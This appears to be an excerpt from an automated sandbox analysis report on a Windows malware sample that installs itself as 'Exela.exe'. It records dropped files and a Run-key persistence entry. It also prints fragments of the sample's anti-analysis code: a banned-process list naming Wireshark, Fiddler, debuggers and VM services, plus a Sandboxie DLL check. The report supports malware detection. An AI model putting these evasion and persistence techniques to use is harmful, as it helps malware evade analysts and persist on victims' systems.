Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\libffi-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_http_parser.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\frozenlist\_frozenlist.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\python3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\yarl\_quoting_c.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_http_parser.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\python311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_websocket.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_helpers.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\frozenlist\_frozenlist.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\yarl\_quoting_c.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\python3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_websocket.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\aiohttp\_http_writer.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI80682\cryptography\hazmat\bindings\_rust.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI67602\multidict\_multidict.cp311-win_amd64.pyd	Jump to dropped file

Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Exela Update Service
Source: C:\Windows\System32\reg.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Exela Update Service

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc query type= service state= all

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe

Code function: 0_2_00007FF72AA751E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00007FF72AA751E0

Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\netsh.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Description, ProviderName FROM Win32_LogicalDisk

Queries sensitive service information (via WMI, Win32_StartupCommand, often done to detect sandboxes)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Caption, Command FROM Win32_StartupCommand

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXE
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXEP5
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "QEMU-GA.EXE"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: PROCESSHACKER.EXEP
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELF.BANNED_PROCESS = ["HTTP TOOLKIT.EXE", "HTTPDEBUGGERUI.EXE","WIRESHARK.EXE", "FIDDLER.EXE", "REGEDIT.EXE", "TASKMGR.EXE", "VBOXSERVICE.EXE", "DF5SERV.EXE", "PROCESSHACKER.EXE", "VBOXTRAY.EXE", "VMTOOLSD.EXE", "VMWARETRAY.EXE", "IDA64.EXE", "OLLYDBG.EXE",
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "SBIEDLL.DLL"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "VMUSRVC.EXE"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "OLLYDBG.EXE"0
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE0F
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "XENSERVICE.EXE", # XEN
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "SBIEDLL.DLL"P
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXEP.
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: VMUSRVC.EXE
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "PROCESSHACKER.EXE"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "PROCESSHACKER.EXE"P/
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "WIRESHARK.EXE"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: QEMU-GA.EXE05
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "OLLYDBG.EXE"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "FIDDLER.EXE"
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: XENSERVICE.EXE
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "VMUSRVC.EXE"P
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HANDLE = CTYPES.WINDLL.LOADLIBRARY("SBIEDLL.DLL")

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4603
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 919

Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_cffi_backend.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\multidict\_multidict.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\python311.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI80682\aiohttp\_http_writer.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI67602\_socket.pyd	Jump to dropped file
